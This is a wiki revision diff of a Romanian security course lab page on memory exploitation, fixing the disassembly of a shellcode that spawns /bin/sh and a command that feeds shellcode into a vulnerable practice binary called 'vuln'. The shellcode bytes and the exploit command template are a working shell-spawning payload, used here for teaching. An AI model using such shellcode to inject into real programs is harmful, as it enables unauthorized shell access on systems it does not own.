User Tools

Site Tools


secure-low-level-programming:capitole:06-exploatarea-memoriei

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/19 12:15]
razvan [Buffer overflow pe variabilă locală]
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/21 10:41] (current)
razvan [Rulare de shellcode]
Line 85: Line 85:
 Accesăm directorul ''​run-shellcode/''​ din arhiva de suport. Accesăm directorul ''​run-shellcode/''​ din arhiva de suport.
  
-Urmăriți conținutul fișierului ''​prog.c''​ și rulați executabilul ''​prog.''​. Programul vă deschide un shell nou. Ca să ieșiți din acel shell folosiți comanda ''​exit''​ sau combinația de taste ''​Ctrl+d''​.+Urmăriți conținutul fișierului ''​prog.c''​ și rulați executabilul ''​prog''​. Programul vă deschide un shell nou. Ca să ieșiți din acel shell folosiți comanda ''​exit''​ sau combinația de taste ''​Ctrl+d''​.
  
 Programul folosește variabila ''​shellcode''​ pentru a reține un cod binar care generează un shell (realizează apelul de sistem ''​execve''​) atunci când este executat. Programul folosește variabila ''​shellcode''​ pentru a reține un cod binar care generează un shell (realizează apelul de sistem ''​execve''​) atunci când este executat.
Line 92: Line 92:
 <​code>​ <​code>​
 student@pr706-pc:​~$ echo -en '​\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'​ > shellcode student@pr706-pc:​~$ echo -en '​\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'​ > shellcode
-student@pr706-pc:​~$ objdump -D -M intel -b binary -m i386 shellcode ​+student@pr706-pc:​~$ objdump -D -M intel -b binary -m i386:​x86-64 ​shellcode ​
  
 shellcode: ​    file format binary shellcode: ​    file format binary
Line 99: Line 99:
 Disassembly of section .data: Disassembly of section .data:
  
-00000000 <​.data>:​+0000000000000000 <​.data>:​
    ​0: ​  6a 42                  push   0x42    ​0: ​  6a 42                  push   0x42
-   ​2: ​  ​58 ​                    ​pop ​   ​eax+   ​2: ​  ​58 ​                    ​pop ​   ​rax
    ​3: ​  fe c4                  inc    ah    ​3: ​  fe c4                  inc    ah
-   ​5: ​  ​48 ​                    dec    eax +   ​5: ​  48 99                  ​cqo ​    
-   ​6: ​  99                     cdq     +   ​7: ​  ​52 ​                    ​push ​  rdx 
-   ​7: ​  ​52 ​                    ​push ​  edx +   ​8: ​  48 bf 2f 62 69 6e 2f   ​movabs rdi,0x68732f2f6e69622f 
-   ​8: ​  ​48 ​                    dec    eax +   ​f: ​  2f 73 68  
-   ​9: ​  bf 2f 62 69 6e         mov    edi,0x6e69622f +  12:   ​57 ​                    ​push ​  rdi 
-   ​e: ​  ​2f ​                    ​das ​   ​ +  13:   ​54 ​                    ​push ​  rsp 
-   ​f: ​  ​2f ​                    das     +  14:   ​5e ​                    ​pop ​   ​rsi 
-  10:   73 68                  ​jae ​   0x7a +  15:   49 89 d0               ​mov    ​r8,rdx 
-  12:   ​57 ​                    ​push ​  edi +  18:   49 89 d2               ​mov    ​r10,rdx
-  13:   ​54 ​                    ​push ​  esp +
-  14:   ​5e ​                    ​pop ​   ​esi +
-  15:   ​49 ​                    dec    ecx +
-  16:   89 d0                  mov    ​eax,edx +
-  18:   ​49 ​                    dec    ecx +
-  19:   89 d2                  mov    ​edx,edx+
   1b:   0f 05                  syscall ​   1b:   0f 05                  syscall ​
 </​code>​ </​code>​
Line 129: Line 123:
 Va trebui să mențineți conexiunea activă la standard input pentru ''​vuln''​. Cel mai indicat este să folosiți comanda: Va trebui să mențineți conexiunea activă la standard input pentru ''​vuln''​. Cel mai indicat este să folosiți comanda:
 <​code>​ <​code>​
-cat <(echo -en '<​TODO_shellcode>​) - | ./vuln+cat <(echo -'<​TODO_shellcode>​') - | ./vuln
 </​code>​ </​code>​
  
secure-low-level-programming/capitole/06-exploatarea-memoriei.1545214553.txt.gz · Last modified: 2018/12/19 12:15 by razvan